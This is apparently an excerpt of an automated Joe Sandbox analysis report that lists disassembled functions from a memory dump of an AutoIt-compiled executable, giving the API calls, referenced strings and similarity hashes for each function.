RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 0023C6B2
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 0023C7C1
RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 0023C84D
RegCloseKey.ADVAPI32(?), ref: 0023C881
RegCloseKey.ADVAPI32(00000000), ref: 0023C88E
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 0023C960

Strings

REG_EXPAND_SZ, xrefs: 0023C5CD
REG_QWORD, xrefs: 0023C8C3
REG_MULTI_SZ, xrefs: 0023C6F5
REG_DWORD, xrefs: 0023C804
REG_BINARY, xrefs: 0023C913
REG_SZ, xrefs: 0023C644

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Value$Close$_wcslen$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 9721498-966354055
Opcode ID: c7e664d708bbc6a7ba86aa2651316058e1c32149b04b3bf410c011e5814dc2ca
Instruction ID: 3191f8fc983922843e575ba1867f9aa6327a5f173dbd4b2ce052c6253787040b
Opcode Fuzzy Hash: c7e664d708bbc6a7ba86aa2651316058e1c32149b04b3bf410c011e5814dc2ca
Instruction Fuzzy Hash: 341279752142019FC725DF24D881B6AB7E5FF88714F14889DF88AAB3A2DB31ED41CB91

Function 0024091E Relevance: 30.1, APIs: 6, Strings: 11, Instructions: 372windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 002409C6
_wcslen.LIBCMT ref: 00240A01
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00240A54
_wcslen.LIBCMT ref: 00240A8A
_wcslen.LIBCMT ref: 00240B06
_wcslen.LIBCMT ref: 00240B81

Part of subcall function 001CF9F2: _wcslen.LIBCMT ref: 001CF9FD

Part of subcall function 00212BE8: SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00212BFA

Strings

UNCHECK, xrefs: 00240D3E
GETTEXT, xrefs: 00240C97
GETSELECTED, xrefs: 00240C4E
EXPAND, xrefs: 00240BF8
COLLAPSE, xrefs: 00240B01, 00240B1C
GETITEMCOUNT, xrefs: 00240C1E
ISCHECKED, xrefs: 00240CE1
CHECK, xrefs: 00240A85, 00240AA0
GETTOTALCOUNT, xrefs: 002409F2, 00240A17
EXISTS, xrefs: 00240B7C, 00240B97
SELECT, xrefs: 00240D11

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 1103490817-4258414348
Opcode ID: d7e9c8074f480f4ad95f608280d27ec3ae1c3bb213d75719d1fc32630ad363b7
Instruction ID: ff3289be5f324cb407e500faf7a3525a23ea0c7072bc8db33269e0d0bb1484b5
Opcode Fuzzy Hash: d7e9c8074f480f4ad95f608280d27ec3ae1c3bb213d75719d1fc32630ad363b7
Instruction Fuzzy Hash: 7CE19031228702CFC718DF25C49196AB7E1FFA8318B14895DF9969B3A2D730ED95CB81

Function 0023C998 Relevance: 30.0, APIs: 7, Strings: 10, Instructions: 242COMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?,?,?,?,?,?,0023B6AE,?,?), ref: 0023C9B5
_wcslen.LIBCMT ref: 0023C9F1
_wcslen.LIBCMT ref: 0023CA68
_wcslen.LIBCMT ref: 0023CA9E
_wcslen.LIBCMT ref: 0023CAF9
_wcslen.LIBCMT ref: 0023CB2F
_wcslen.LIBCMT ref: 0023CB7F

Strings

HKCR, xrefs: 0023CB29, 0023CB2E
HKEY_LOCAL_MACHINE, xrefs: 0023CA62, 0023CA67
HKEY_CLASSES_ROOT, xrefs: 0023CAF3, 0023CAF8
HKEY_USERS, xrefs: 0023CBDF
HKCU, xrefs: 0023CBCE
HKU, xrefs: 0023CBF0
HKEY_CURRENT_USER, xrefs: 0023CBBD
HKLM, xrefs: 0023CA98, 0023CA9D
HKEY_CURRENT_CONFIG, xrefs: 0023CB79, 0023CB7E
HKCC, xrefs: 0023CBAC

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _wcslen$BuffCharUpper
String ID: HKCC$HKCR$HKCU$HKEY_CLASSES_ROOT$HKEY_CURRENT_CONFIG$HKEY_CURRENT_USER$HKEY_LOCAL_MACHINE$HKEY_USERS$HKLM$HKU
API String ID: 1256254125-909552448
Opcode ID: f57e469b364f0f11036e18846a9ca35a52a1e6fac696e33da2458975cb492abd
Instruction ID: f863c96155db8fbef13fb79996d5df50cfaa2d5bc2d068f3f732d002205cdc64
Opcode Fuzzy Hash: f57e469b364f0f11036e18846a9ca35a52a1e6fac696e33da2458975cb492abd
Instruction Fuzzy Hash: 9F71E2B263012B8BCB20DE6CCD515BE7396AB70758F314529F856B7284EB31CD65C3A0

Function 0024833C Relevance: 29.9, APIs: 14, Strings: 3, Instructions: 196windowlibraryCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0024835A
_wcslen.LIBCMT ref: 0024836E
_wcslen.LIBCMT ref: 00248391
_wcslen.LIBCMT ref: 002483B4
LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 002483F2
LoadLibraryExW.KERNEL32(?,00000000,00000032,?,?,00000001,?,?,?,0024361A,?), ref: 0024844E
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00248487
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 002484CA
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 00248501
FreeLibrary.KERNEL32(?), ref: 0024850D
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0024851D
DestroyIcon.USER32(?), ref: 0024852C
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 00248549
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 00248555

Strings

.dll, xrefs: 002483AB
.icl, xrefs: 00248368
.exe, xrefs: 00248388

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Load$Image_wcslen$IconLibraryMessageSend$DestroyExtractFree
String ID: .dll$.exe$.icl
API String ID: 799131459-1154884017
Opcode ID: d6329d4a685f7e9fa46cc4f314426d0caf0af2fcd30e4be36549d8f922bd1fb0
Instruction ID: 3d86fa4ac5e74ab2a9d74534d540c6f87d0bd264d2f8d40a1d0ac63f7c816c64
Opcode Fuzzy Hash: d6329d4a685f7e9fa46cc4f314426d0caf0af2fcd30e4be36549d8f922bd1fb0
Instruction Fuzzy Hash: 2E610571920216BFEB18CF64DC85BBE77ACBF08710F104509F815DA1D1DBB499A0CBA0

Function 001B7778 Relevance: 28.3, APIs: 1, Strings: 15, Instructions: 273COMMON

Download Yara Rule

Strings

#notrayicon, xrefs: 001B77E7
#requireadmin, xrefs: 001B77FF
#ce, xrefs: 001B78ED
Cannot parse #include, xrefs: 001F5279
", xrefs: 001F5153
', xrefs: 001F5169
#cs, xrefs: 001B7873, 001B78C5
Unterminated group of comments, xrefs: 001F528C
#include, xrefs: 001B7847
#comments-start, xrefs: 001B785F, 001B78B1
#include-once, xrefs: 001B782F
#comments-end, xrefs: 001B78D9
Bad directive syntax error, xrefs: 001F519A
#OnAutoItStartRegister, xrefs: 001B7817
#pragma compile, xrefs: 001B77D3

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID:
String ID: "$#OnAutoItStartRegister$#ce$#comments-end$#comments-start$#cs$#include$#include-once$#notrayicon$#pragma compile$#requireadmin$'$Bad directive syntax error$Cannot parse #include$Unterminated group of comments
API String ID: 0-1645009161
Opcode ID: 36efb7fdd5ec2647693687d45be37afc6aa5721419950c6ca8d2624c17233c03
Instruction ID: a70f28ea29c76758f53dd9e37cc4541ac1b111cad1942b557d66b3bc147c3503
Opcode Fuzzy Hash: 36efb7fdd5ec2647693687d45be37afc6aa5721419950c6ca8d2624c17233c03
Instruction Fuzzy Hash: E5812971604609BBDB24BF60DC46FFE37A9AFA5300F054025FA05AB1D6EB70D912DB91

Function 00223E79 Relevance: 28.2, APIs: 8, Strings: 8, Instructions: 205COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 00223EF8
_wcslen.LIBCMT ref: 00223F03
_wcslen.LIBCMT ref: 00223F5A
_wcslen.LIBCMT ref: 00223F98
GetDriveTypeW.KERNEL32(?), ref: 00223FD6
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0022401E
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00224059
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00224087

Strings

type cdaudio alias cd wait, xrefs: 00224001
set cd door , xrefs: 00224028
open, xrefs: 00223F54, 00223F59
wait, xrefs: 00224044
closed, xrefs: 00223F08, 00223F2D, 00223F46, 00223F7E, 00223F97
close, xrefs: 00223EFE, 00223F18
close cd wait, xrefs: 00224072
open , xrefs: 00223FE5

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: SendString_wcslen$BuffCharDriveLowerType
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 1839972693-4113822522
Opcode ID: 8c2cd1964714d3c53f9acca960ebae9107c18f60c274699bc5f84bd5273c4ccb
Instruction ID: b27e5867c895f78ace1e12875d9ad5ebe36acca8ac2e0f72757b70a7ac50df8e
Opcode Fuzzy Hash: 8c2cd1964714d3c53f9acca960ebae9107c18f60c274699bc5f84bd5273c4ccb
Instruction Fuzzy Hash: 84710332614312AFC310EF24E8808AAB7F4FFA4758F10492DF99597251EB34DE59CB91

Function 00215A1B Relevance: 27.2, APIs: 18, Instructions: 198windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 00215A2E
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 00215A40
SetWindowTextW.USER32(?,?), ref: 00215A57
GetDlgItem.USER32(?,000003EA), ref: 00215A6C
SetWindowTextW.USER32(00000000,?), ref: 00215A72
GetDlgItem.USER32(?,000003E9), ref: 00215A82
SetWindowTextW.USER32(00000000,?), ref: 00215A88
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 00215AA9
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 00215AC3
GetWindowRect.USER32(?,?), ref: 00215ACC
_wcslen.LIBCMT ref: 00215B33
SetWindowTextW.USER32(?,?), ref: 00215B6F
GetDesktopWindow.USER32 ref: 00215B75
GetWindowRect.USER32(00000000), ref: 00215B7C
MoveWindow.USER32(?,?,00000080,00000000,?,00000000), ref: 00215BD3
GetClientRect.USER32(?,?), ref: 00215BE0
PostMessageW.USER32(?,00000005,00000000,?), ref: 00215C05
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 00215C2F

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer_wcslen
String ID:
API String ID: 895679908-0
Opcode ID: 3bc292fdb6c4aa1ad6d6e92087591a82ba2297885469015de63ba97369d7d3e3
Instruction ID: cafc013e1e4d4c1721260d12b6f0905ec29dac560a21e513877eef58a1d34880
Opcode Fuzzy Hash: 3bc292fdb6c4aa1ad6d6e92087591a82ba2297885469015de63ba97369d7d3e3
Instruction Fuzzy Hash: 2871A031910B1AEFCB20DFA8CD89AAEBBF5FF98704F104558E142A21A4D775E990CF50

Function 0022FE0E Relevance: 27.1, APIs: 18, Instructions: 128COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 0022FE27
LoadCursorW.USER32(00000000,00007F8A), ref: 0022FE32
LoadCursorW.USER32(00000000,00007F00), ref: 0022FE3D
LoadCursorW.USER32(00000000,00007F03), ref: 0022FE48
LoadCursorW.USER32(00000000,00007F8B), ref: 0022FE53
LoadCursorW.USER32(00000000,00007F01), ref: 0022FE5E
LoadCursorW.USER32(00000000,00007F81), ref: 0022FE69
LoadCursorW.USER32(00000000,00007F88), ref: 0022FE74
LoadCursorW.USER32(00000000,00007F80), ref: 0022FE7F
LoadCursorW.USER32(00000000,00007F86), ref: 0022FE8A
LoadCursorW.USER32(00000000,00007F83), ref: 0022FE95
LoadCursorW.USER32(00000000,00007F85), ref: 0022FEA0
LoadCursorW.USER32(00000000,00007F82), ref: 0022FEAB
LoadCursorW.USER32(00000000,00007F84), ref: 0022FEB6
LoadCursorW.USER32(00000000,00007F04), ref: 0022FEC1
LoadCursorW.USER32(00000000,00007F02), ref: 0022FECC
GetCursorInfo.USER32(?), ref: 0022FEDC
GetLastError.KERNEL32 ref: 0022FF1E

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: 67af4c222aeebd8744496a84b9d8aac7e585351721741e4c5cccee937e28f61f
Instruction ID: 410c76f90102193ccbbefd9563b4fa44507a2b11652fc383dd16b280a6080daa
Opcode Fuzzy Hash: 67af4c222aeebd8744496a84b9d8aac7e585351721741e4c5cccee937e28f61f
Instruction Fuzzy Hash: 564170B0D0431A6ADB509FBA9D8985EBFF8BF04314B50413AE11CEB281DB78A8018E90

Function 002130F7 Relevance: 26.6, APIs: 8, Strings: 7, Instructions: 400COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 0021318D
_wcslen.LIBCMT ref: 002131F8

Strings

TEXT, xrefs: 0021347C
[', xrefs: 0021339A
CLASSNN, xrefs: 002131F3, 00213204
INSTANCE, xrefs: 00213453
NAME, xrefs: 00213335, 00213346
REGEXPCLASS, xrefs: 00213255, 00213266
CLASS, xrefs: 00213188, 002131A5

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _wcslen
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT$['
API String ID: 176396367-1161093653
Opcode ID: 605a1aa2824888cfc11107a862e9890e62f9cd835430cabace3d8e4f548c2a57
Instruction ID: bedc71f2379769c7d5acb46b9ff1f6749f869e1fc8798f31b8e4a07b05508112
Opcode Fuzzy Hash: 605a1aa2824888cfc11107a862e9890e62f9cd835430cabace3d8e4f548c2a57
Instruction Fuzzy Hash: 39E1F532A20516ABCB18DF68C4516EDFBF6BF34710F54812AE456E7240DB70AEE5C790

Function 001D00C6 Relevance: 26.3, APIs: 10, Strings: 5, Instructions: 81COMMON

Download Yara Rule

APIs

__scrt_initialize_thread_safe_statics_platform_specific.LIBCMT ref: 001D00C6

Part of subcall function 001D00ED: InitializeCriticalSectionAndSpinCount.KERNEL32(0028070C,00000FA0,877BF956,?,?,?,?,001F23B3,000000FF), ref: 001D011C
Part of subcall function 001D00ED: GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,?,?,001F23B3,000000FF), ref: 001D0127
Part of subcall function 001D00ED: GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?,?,001F23B3,000000FF), ref: 001D0138
Part of subcall function 001D00ED: GetProcAddress.KERNEL32(00000000,InitializeConditionVariable), ref: 001D014E
Part of subcall function 001D00ED: GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 001D015C
Part of subcall function 001D00ED: GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 001D016A
Part of subcall function 001D00ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 001D0195
Part of subcall function 001D00ED: __crt_fast_encode_pointer.LIBVCRUNTIME ref: 001D01A0

___scrt_fastfail.LIBCMT ref: 001D00E7

Part of subcall function 001D00A3: __onexit.LIBCMT ref: 001D00A9

Strings

WakeAllConditionVariable, xrefs: 001D0162
api-ms-win-core-synch-l1-2-0.dll, xrefs: 001D0122
InitializeConditionVariable, xrefs: 001D0148
kernel32.dll, xrefs: 001D0133
SleepConditionVariableCS, xrefs: 001D0154

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: AddressProc$HandleModule__crt_fast_encode_pointer$CountCriticalInitializeSectionSpin___scrt_fastfail__onexit__scrt_initialize_thread_safe_statics_platform_specific
String ID: InitializeConditionVariable$SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 66158676-1714406822
Opcode ID: 28d19ff3bf0581b2a7db9319fdc32e534db24ff48b0140a6689e018abe171379
Instruction ID: e16bc757f1e7f881b724917a1ebc8c83ba4b559205892fdde4de08e307b6ab1d
Opcode Fuzzy Hash: 28d19ff3bf0581b2a7db9319fdc32e534db24ff48b0140a6689e018abe171379
Instruction Fuzzy Hash: 52210836A46710ABE7566BA8BC4DF6A73D4EB5EB51F11013BF805E2391DB70DC008AA0

Function 002244C0 Relevance: 24.8, APIs: 7, Strings: 7, Instructions: 309COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(00000000,00000000,0024CC08), ref: 00224527
_wcslen.LIBCMT ref: 0022453B
_wcslen.LIBCMT ref: 00224599
_wcslen.LIBCMT ref: 002245F4
_wcslen.LIBCMT ref: 0022463F
_wcslen.LIBCMT ref: 002246A7

Part of subcall function 001CF9F2: _wcslen.LIBCMT ref: 001CF9FD

GetDriveTypeW.KERNEL32(?,00276BF0,00000061), ref: 00224743

Strings

unknown, xrefs: 00224708
ramdisk, xrefs: 002246F1
fixed, xrefs: 00224635, 0022463A
all, xrefs: 00224531, 00224536
cdrom, xrefs: 0022458F, 00224594
network, xrefs: 0022469D, 002246A2
removable, xrefs: 002245EA, 002245EF

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: _wcslen$BuffCharDriveLowerType
String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
API String ID: 2055661098-1000479233
Opcode ID: 93e4cd8ef3913dbd60dbc7380e9701d6694e40fa36dbf400185445141b276b76
Instruction ID: 37ae94d9bbafb2168af25778fafcb330e53fca78d9c4d6c2e2b15e062e7e8716
Opcode Fuzzy Hash: 93e4cd8ef3913dbd60dbc7380e9701d6694e40fa36dbf400185445141b276b76
Instruction Fuzzy Hash: B7B13531628322AFC710EF68E890A7EB7E5BFA6724F50491DF496C7291D730D864CB52

Function 0024911E Relevance: 24.7, APIs: 10, Strings: 4, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 001C9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 001C9BB2

DragQueryPoint.SHELL32(?,?), ref: 00249147

Part of subcall function 00247674: ClientToScreen.USER32(?,?), ref: 0024769A
Part of subcall function 00247674: GetWindowRect.USER32(?,?), ref: 00247710
Part of subcall function 00247674: PtInRect.USER32(?,?,00248B89), ref: 00247720

SendMessageW.USER32(?,000000B0,?,?), ref: 002491B0
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 002491BB
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 002491DE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00249225
SendMessageW.USER32(?,000000B0,?,?), ref: 0024923E
SendMessageW.USER32(?,000000B1,?,?), ref: 00249255
SendMessageW.USER32(?,000000B1,?,?), ref: 00249277
DragFinish.SHELL32(?), ref: 0024927E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00249371

Strings

@GUI_DRAGFILE, xrefs: 00249320
@GUI_DRAGID, xrefs: 002492E9
p#(, xrefs: 002492BB
@GUI_DROPID, xrefs: 0024929E

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

Associated: 00000006.00000002.2026469765.00000000001B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.000000000024C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026620069.0000000000272000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026717869.000000000027C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.2026750778.0000000000284000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_1b0000_4V88JM9ZW2IZ0ZQGW7B.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID$p#(
API String ID: 221274066-1174176935
Opcode ID: f766f7371d3aa884714119bba6381c33fefe991f451cb7e9392bac650a725e1d
Instruction ID: e0d7282aa567043e954ef243a38fdd2a25194b486d3026c3009149cb718eee0d
Opcode Fuzzy Hash: f766f7371d3aa884714119bba6381c33fefe991f451cb7e9392bac650a725e1d
Instruction Fuzzy Hash: 65619871108301AFC305EF64DC89DAFBBE8EF99750F10092EF995921A0DB709A59CB92

Function 00233FE9 Relevance: 23.2, APIs: 11, Strings: 2, Instructions: 478libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,0024CC08), ref: 002340BB
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 002340CD
GetModuleFileNameW.KERNEL32(?,?,00000104,?,?,?,0024CC08), ref: 002340F2
FreeLibrary.KERNEL32(00000000,?,0024CC08), ref: 0023413E
StringFromGUID2.OLE32(?,?,00000028,?,0024CC08), ref: 002341A8
SysFreeString.OLEAUT32(00000009), ref: 00234262
QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 002342C8
SysFreeString.OLEAUT32(?), ref: 002342F2

Strings

GetModuleHandleExW, xrefs: 002340C7
kernel32.dll, xrefs: 002340B6

Memory Dump Source

Source File: 00000006.00000002.2026509558.00000000001B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 001B0000, based on PE: true

